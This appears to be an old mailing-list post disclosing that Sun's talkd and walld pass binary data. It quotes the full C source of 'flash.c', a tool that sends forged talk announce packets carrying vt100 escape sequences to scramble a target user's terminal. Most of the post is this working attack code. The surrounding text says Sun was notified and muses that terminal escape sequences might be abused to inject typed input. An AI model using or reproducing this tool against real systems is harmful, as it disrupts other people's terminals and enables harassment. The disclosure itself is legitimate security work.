Wall and talkd pass binary data

[rjq () phys ksu edu (Rob Quinn)]

 talkd and walld both pass binary data (on Sun's at least). Here's some source
code I got from a friend. I informed Sun about the wall problem several months
ago. This source just sends a string to mess up your fonts and such, but I've
heard that some terminals have escape sequences that will buffer strings and
re-issue them as if the user had typed them (I know there's an expression or
term for that, but I can't think of it). I searced for this sequence for xterm,
but didn't find one. I didn't look at any other terminal types.

 The date of this mail/source was June 9, so it's been out a while.

> > /* flash.c */
> >
> > /* This little program is intended to quickly mess up a user's
> >    terminal by issuing a talk request to that person and sending
> >    vt100 escape characters that force the user to logout or kill
> >    his/her xterm in order to regain a sane view of the text.
> >    It the user's message mode is set to off (mesg n) he/she will
> >    be unharmed. 
> >    This program is really nasty :-)
> >
> >    Usage: flash user@host
> >
> >    try compiling with: gcc -o flash flash.c
> > */
> >
> >
> > #include <sys/types.h>
> > #include <sys/socket.h>
> > #include <netinet/in.h>
> > #include <netdb.h>
> > #include <stdio.h>
> > #include <strings.h>
> >
> > /* this should really be in an include file..  */
> >
> > #define OLD_NAME_SIZE 9
> > #define NAME_SIZE    12
> > #define TTY_SIZE     16 
> > typedef struct {
> >         char    type;
> >         char    l_name[OLD_NAME_SIZE];
> >         char    r_name[OLD_NAME_SIZE];
> >         char    filler;
> >         u_long  id_num;
> >         u_long  pid;
> >         char    r_tty[TTY_SIZE];
> >         struct  sockaddr_in addr;
> >         struct  sockaddr_in ctl_addr;
> > } OLD_MSG;
> >
> > typedef struct {
> >         u_char  vers;
> >         char    type;
> >         u_short filler;
> >         u_long  id_num;
> >         struct  sockaddr_in addr;
> >         struct  sockaddr_in ctl_addr;
> >         long    pid;
> >         char    l_name[NAME_SIZE];
> >         char    r_name[NAME_SIZE];
> >         char    r_tty[TTY_SIZE];
> > } CTL_MSG;
> >
> > #define TALK_VERSION    1               /* protocol version */
> >
> > /* Types */
> > #define LEAVE_INVITE    0
> > #define LOOK_UP         1
> > #define DELETE          2
> > #define ANNOUNCE        3
> >
> > int  current = 1;    /* current id..  this to avoid duplications */
> >
> > struct sockaddr_in *getinaddr(char *hostname, u_short port)
> > {
> > static  struct sockaddr    addr;
> > struct  sockaddr_in *address;
> > struct  hostent     *host;
> >
> > address = (struct sockaddr_in *)&addr;
> > (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
> > /* fill in the easy fields */
> > address->sin_family = AF_INET;
> > address->sin_port = htons(port);
> > /* first, check if the address is an ip address */
> > address->sin_addr.s_addr = inet_addr(hostname);
> > if ( (int)address->sin_addr.s_addr == -1)
> >         {
> >         /* it wasn't.. so we try it as a long host name */
> >         host = gethostbyname(hostname);
> >         if (host)
> >                 {
> >                 /* wow.  It's a host name.. set the fields */
> >                 /* ?? address->sin_family = host->h_addrtype; */
> >                 bcopy( host->h_addr, (char *)&address->sin_addr,
> >                         host->h_length);
> >                 }
> >         else
> >                 {
> >                 /* oops.. can't find it.. */
> >              puts("Couldn't find address"); 
> >              exit(-1);
> >                 return (struct sockaddr_in *)0;
> >                 }
> >         }
> > /* all done. */
> > return (struct sockaddr_in *)address;
> > }
> >
> > SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
> > {
> > int  s;
> > struct sockaddr sample; /* not used.. only to get the size */
> >
> > s = socket(AF_INET, SOCK_DGRAM, 0);
> > sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
> > } 
> >
> >
> > new_ANNOUNCE(char *hostname, char *remote, char *local)
> > {
> > CTL_MSG       packet; 
> > struct   sockaddr_in  *address;
> >
> > /* create a packet */
> > address = getinaddr(hostname, 666 );  
> > address->sin_family = htons(AF_INET); 
> >
> > bzero( (char *)&packet, sizeof(packet) );
> > packet.vers   = TALK_VERSION; 
> > packet.type   = ANNOUNCE;   
> > packet.pid    = getpid();
> > packet.id_num = current;
> > bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
> > bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
> > strncpy( packet.l_name, local, NAME_SIZE); 
> > strncpy( packet.r_name, remote, NAME_SIZE); 
> > strncpy( packet.r_tty, "", 1); 
> >
> > SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
> > }
> >
> > old_ANNOUNCE(char *hostname, char *remote, char *local)
> > {
> > OLD_MSG  packet;
> > struct   sockaddr_in  *address;
> >
> > /* create a packet */
> > address = getinaddr(hostname, 666 );
> > address->sin_family = htons(AF_INET);
> >
> > bzero( (char *)&packet, sizeof(packet) );
> > packet.type   = ANNOUNCE;
> > packet.pid    = getpid();
> > packet.id_num = current;
> > bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
> > bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
> > strncpy( packet.l_name, local, NAME_SIZE);
> > strncpy( packet.r_name, remote, NAME_SIZE);
> > strncpy( packet.r_tty, "", 1);
> >
> > SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
> > }
> >
> > main(int argc, char *argv[])
> > {
> >      char    *hostname, *username; 
> >      int     pid;
> >
> >      if ( (pid = fork()) == -1)  
> >              {
> >              perror("fork()");
> >              exit(-1);
> >              }
> >      if ( !pid )
> >              {
> >              exit(0);
> >              }
> >      if (argc < 2) { 
> >              puts("Usage: <finger info> ");
> >              exit(5);
> >      }
> >      username = argv[1]; 
> >      if ( (hostname = (char *)strchr(username, '@')) == NULL )       
> >              {
> >              puts("Invalid name.  ");
> >              exit(-1);
> >              }
> >         *hostname = '\0'; 
> >      hostname++; 
> >
> >      if (*username == '~') 
> >              username++; 
> >
> > #define FIRST "\033c\033(0\033#8" 
> > #define SECOND "\033[1;3r\033[J"
> > #define THIRD  "\033[5m\033[?5h"
> >      new_ANNOUNCE(hostname, username, FIRST);
> >      old_ANNOUNCE(hostname, username, FIRST);
> >      current++; 
> >      new_ANNOUNCE(hostname, username, SECOND);
> >      new_ANNOUNCE(hostname, username, SECOND);
> >      current++;
> >      new_ANNOUNCE(hostname, username, THIRD); 
> >      old_ANNOUNCE(hostname, username, THIRD);
> > }

-- 
|                                                                          |
|                                                                Rob Quinn |
|                                                         rjq () phys ksu edu |
|                                                    QuinnBob@KSUVM.BITNET |